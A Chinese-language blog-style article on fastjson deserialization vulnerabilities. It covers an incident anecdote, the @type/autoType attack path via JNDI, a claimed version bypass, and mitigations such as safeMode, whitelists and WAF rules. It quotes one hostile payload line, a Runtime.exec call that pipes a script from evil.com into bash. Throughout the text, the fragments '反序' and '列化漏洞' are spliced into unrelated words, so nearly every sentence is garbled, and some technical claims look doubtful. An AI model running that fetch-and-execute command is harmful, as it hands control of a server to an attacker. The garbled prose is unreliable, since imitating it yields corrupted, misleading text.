2022年,反序某头部互联网公司的列化漏洞安全团队在应急响应时发现,一台内网服务器的反序CPU占用率异常飙升至97%。排查日志时,列化漏洞他们看到一个本该只处理JSON数据的反序接口,竟然在请求体中携带了一段base64编码的列化漏洞字节码。这段代码在服务器上安静地执行了`Runtime.getRuntime().exec("curl http://evil.com/shell.sh | bash")`——整个过程没触发任何告警,反序因为流量加密了。列化漏洞这就是反序fastjson反序列化漏洞的典型杀伤力:一个看似人畜无害的JSON解析库,成了攻击者进入内网的列化漏洞万能钥匙。
fastjson的反序漏洞本质,在于它允许在JSON字符串中通过`@type`字段指定任意类,列化漏洞然后自动调用该类的反序setter或getter方法。攻击者只要找到一条从`@type`到危险方法的列化漏洞调用链——比如`JdbcRowSetImpl`类里藏着JNDI注入点——就能让服务器去连接攻击者控制的恶意RMI服务,最终加载远程类执行任意命令。反序整个过程只需要一个HTTP请求,甚至不需要认证。更讽刺的是,这个库的设计初衷是“性能比Jackson快3倍”,结果快的那部分恰恰牺牲了安全校验。
我见过最离谱的一次实战,是某金融公司把fastjson升级到了官方宣称“已修复”的1.2.83版本,结果攻击者绕过了默认的autoType黑名单,用`org.apache.commons.collections.functors.InvokerTransformer`这条老链子照样打穿。为什么?因为黑名单永远追不上攻击者的脑洞,而fastjson的`checkAutoType`逻辑在解析嵌套对象时存在状态绕过。这提醒我们一个残酷事实:依赖版本号判断安全,等于把自己的命交给别人的承诺。
修复方案其实不复杂,但执行起来要命。最稳妥的做法是彻底换掉fastjson,改用Jackson或Gson——代价是可能得改几百处代码里的`JSON.parseObject`调用。退而求其次,至少得做到三点:第一,把`fastjson.safeMode`设为true,彻底禁用autoType;第二,如果业务确实需要反序列化自定义类,必须维护一个精确的白名单,而不是黑名单;第三,在接入层部署WAF规则,拦截请求体中出现`@type`且值不在允许列表内的请求。但说实话,很多团队连第二点都做不到,因为历史遗留的类太多了,根本列不全。
有个细节很多人忽略:fastjson的漏洞利用经常是“组合拳”。攻击者先用它打穿一个边缘应用,拿到内网跳板机权限,然后横向移动去攻击核心数据库。所以就算你的核心系统不用fastjson,只要某个老旧的运维后台依赖它,整个内网就都暴露了。我处理过一起案例,漏洞入口居然是一个已经下线但没销毁的测试环境——上面跑着一个带漏洞的fastjson版本,成了攻击者潜伏三个月的据点。
说到底,这个漏洞之所以臭名昭著,不只是因为技术缺陷,更因为它暴露了开发流程的惰性。很多团队引入fastjson纯粹因为“网上教程都这么写”,却没人去读官方文档里关于autoType的安全警告。等到出事才补课,代价往往是核心数据泄露或整条业务线停摆。如果你现在还在用fastjson,别犹豫,花一个下午做两件事:查一下所有依赖这个库的服务,然后逐个评估能否安全关闭autoType。做不到的话,至少把版本升到最新,并开启safeMode——虽然这不能保证绝对安全,但能挡掉90%的脚本小子。









